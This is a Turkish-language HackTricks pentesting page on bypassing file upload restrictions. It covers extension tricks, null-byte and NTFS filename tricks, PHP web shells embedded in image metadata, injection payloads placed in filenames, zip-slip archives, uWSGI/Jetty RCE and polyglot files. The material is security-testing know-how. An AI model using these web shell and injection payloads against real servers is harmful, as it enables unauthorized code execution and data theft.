File Upload
Last updated
AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
Hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı yazılı ve sözlü Lehçe gereklidir).
Diğer yararlı uzantılar:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8'de Çalışma: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Eğer uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bazı büyük harfler kullanarak test edin: pHp, .pHP5, .PhAr ...
Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin (önceki uzantıları da kullanın):
file.png.php
file.png.Php5
Sonuna özel karakterler eklemeyi deneyin. Tüm ascii ve Unicode karakterlerini bruteforce etmek için Burp'u kullanabilirsiniz. (Daha önce belirtilen uzantıları de kullanmayı deneyebilirsiniz)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlatmaya çalışın, örneğin uzantıyı iki katına çıkararak veya uzantılar arasında gereksiz veriler (null baytları) ekleyerek. Daha iyi bir yük hazırlamak için önceki uzantıları de kullanabilirsiniz.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Önceki kontrol için bir başka uzantı katmanı ekleyin:
file.png.jpg.php
file.php%00.png%00.jpg
Geçerli uzantıdan önce exec uzantısını koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, .php ile bitmeyen her şey kodu çalıştırır):
ör: file.php.png
Windows'ta NTFS alternatif veri akışı (ADS) kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda yasaklı uzantıya sahip boş bir dosya oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “::$data” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
Content-Type kontrollerini atlatmak için Content-Type başlığının değerini ayarlayın: image/png , text/plain , application/octet-stream
Content-Type kelime listesi: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Sihirli numara kontrolünü atlatmak için dosyanın başına gerçek bir resmin baytlarını ekleyin ( file komutunu karıştırın). Ya da shell'i meta veriler içine yerleştirin:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
veya yükü doğrudan bir resme de ekleyebilirsiniz:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Eğer resminize sıkıştırma ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanarak PHP-GD, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için PLTE parçası burada tanımlanan teknik kullanılabilir.
Web sayfası ayrıca resmi yeniden boyutlandırıyor olabilir, örneğin PHP-GD fonksiyonları imagecopyresized
veya imagecopyresampled
kullanarak. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için IDAT parçası burada tanımlanan teknik kullanılabilir.
Resim yeniden boyutlandırmayı hayatta tutacak bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu thumbnailImage
kullanmaktır. Ancak, sıkıştırmayı hayatta tutacak bazı metin eklemek için tEXt parçası burada tanımlanan teknik kullanılabilir.
Yüklenmiş dosyayı yeniden adlandırmak için bir zafiyet bulun (uzantıyı değiştirmek için).
Yerel Dosya Dahil Etme zafiyetini bulmak için geri kapıyı çalıştırın.
Olası Bilgi sızıntısı:
Aynı dosyayı birden fazla kez (ve aynı anda) aynı isimle yükleyin.
Zaten var olan bir dosya veya klasör ismiyle bir dosya yükleyin.
“.”, “..” veya “…” ismine sahip bir dosya yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
NTFS'te kolayca silinmeyen bir dosya yükleyin, örneğin “…:.jpg”. (Windows)
Windows'ta ismi |<>*?”
gibi geçersiz karakterler içeren bir dosya yükleyin. (Windows)
Windows'ta rezerv (yasaklı) isimler kullanarak bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
Ayrıca, kötü niyetli kodu çalıştıracak bir yürütülebilir (.exe) veya .html (daha az şüpheli) dosyayı kurban tarafından yanlışlıkla açıldığında çalıştırmak için yüklemeyi deneyin.
Eğer bir PHP sunucusuna dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .htaccess ipucuna göz atın. Eğer bir ASP sunucusuna dosya yüklemeye çalışıyorsanız, kod çalıştırmak için .config ipucuna göz atın.
.phar
dosyaları, Java için .jar
gibi, ancak PHP için kullanılabilir ve bir php dosyası gibi kullanılabilir (php ile çalıştırarak veya bir script içinde dahil ederek...)
.inc
uzantısı bazen yalnızca dosyaları içe aktarmak için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri bu uzantının çalıştırılmasına izin vermiş olabilir.
Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, yeni *.xml ve *.war otomatik olarak işlenir. Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/
dizinine yükleyin ve shell'i bekleyin!
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: uWSGI RCE İstismarı.
Uzak Komut Yürütme (RCE) zafiyetleri, .ini
yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, @(filename)
olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir .ini
yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
Aşağıdaki zararlı uwsgi.ini
dosyası örneğini düşünün, çeşitli şemaları sergileyen:
Yükleme sırasında yükleme dosyasının ayrıştırılması sırasında yükleme gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri algıladığında dosyayı belirli aralıklarla yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yükleme bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
Bazı durumlarda, bir sunucunun wget
kullanarak dosya indirdiğini ve URL'yi belirtebileceğinizi görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, bu kontrol atlatılabilir.
Linux'ta bir dosya adı için maksimum uzunluk 255 karakterdir, ancak wget dosya adlarını 236 karaktere kısaltır. "A"*232+".php"+".gif" adında bir dosya indirebilirsiniz, bu dosya adı kontrolü atlatacaktır (bu örnekte ".gif" geçerli bir uzantıdır) ancak wget
dosyayı "A"*232+".php" olarak yeniden adlandıracaktır.
Not edin ki başka bir seçenek olarak bu kontrolü atlatmayı düşündüğünüz şey, HTTP sunucusunun farklı bir dosyaya yönlendirilmesi olabilir, böylece başlangıç URL'si kontrolü atlatacak ve ardından wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu çalışmayacak eğer wget parametre --trust-server-names
ile kullanılmıyorsa çünkü wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir.
Upload Bypass Pentester'lar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
filename'i ../../../tmp/lol.png
olarak ayarlayın ve bir path traversal elde etmeye çalışın.
filename'i sleep(10)-- -.jpg
olarak ayarlayın ve bir SQL injection elde edebilirsiniz.
filename'i <svg onload=alert(document.domain)>
olarak ayarlayın ve bir XSS elde edin.
filename'i ; sleep 10;
olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla komut enjeksiyonu ipuçları burada).
JS dosya yükleme + XSS = Service Workers istismarı.
https://github.com/allanlw/svg-cheatsheet adresinden farklı svg yüklemeleri deneyin.
Eğer web sunucusunu bir URL'den bir resmi yakalamaya yönlendirebilirseniz, bir SSRF istismar etmeye çalışabilirsiniz. Eğer bu resim bazı kamusal sitelerde kaydedilecekse, https://iplogger.org/invisible/ adresinden bir URL belirtebilir ve her ziyaretçinin bilgilerini çalabilirsiniz.
XSS için özel olarak hazırlanmış PDF'ler: Aşağıdaki sayfa, PDF verilerini enjekte ederek JS yürütme elde etmenin nasıl olduğunu sunmaktadır. Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
[eicar](https://secure.eicar.org/eicar.com.txt) içeriğini yükleyerek sunucunun herhangi bir antivirüs programı olup olmadığını kontrol edin.
Dosya yüklerken herhangi bir boyut limiti olup olmadığını kontrol edin.
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan alındı):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Saklı XSS / SSRF / XXE
GIF: Saklı XSS / SSRF
CSV: CSV enjeksiyonu
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML enjeksiyonu / XSS / Açık yönlendirme
PNG / JPEG: Piksel sel saldırısı (DoS)
ZIP: LFI üzerinden RCE / DoS
PDF / PPTX: SSRF / KÖR XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Diğer dosya türleri için https://en.wikipedia.org/wiki/List_of_file_signatures adresine bakın.
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz:
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişeceksiniz:
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir istismar evilarc on GitHub adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
Ayrıca, evilarc ile symlink hilesi bir seçenektir. Amaç /flag.txt
gibi bir dosyayı hedef almaksa, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan bir Python kodu örneği bulunmaktadır:
Sıkıştırmayı kötüye kullanarak dosya yayma
Daha fazla detay için orijinal gönderiyi kontrol edin: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
PHP Shell Oluşturma: PHP kodu, $_REQUEST
değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılmıştır.
Dosya Yayma ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi derlenir.
Hex Editörü veya vi ile Değiştirme: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır.
Bu içeriği bir resim uzantısıyla yükleyerek açığı kullanın (ImageMagick , 7.0.1-1) ( exploit formundan)
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized
ve imagecopyresampled
fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmemesi, belirli kullanım durumları için önemli bir avantajdır.
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: "PNG IDAT parçalarında Web Shell'leri Kodlama". Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
Daha fazla bilgi için: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir GIFARdır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşma yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yüklenme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklenmesini garanti etmek için yeterli olmayabilir.
Daha fazla bilgi için: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Eğer hack kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)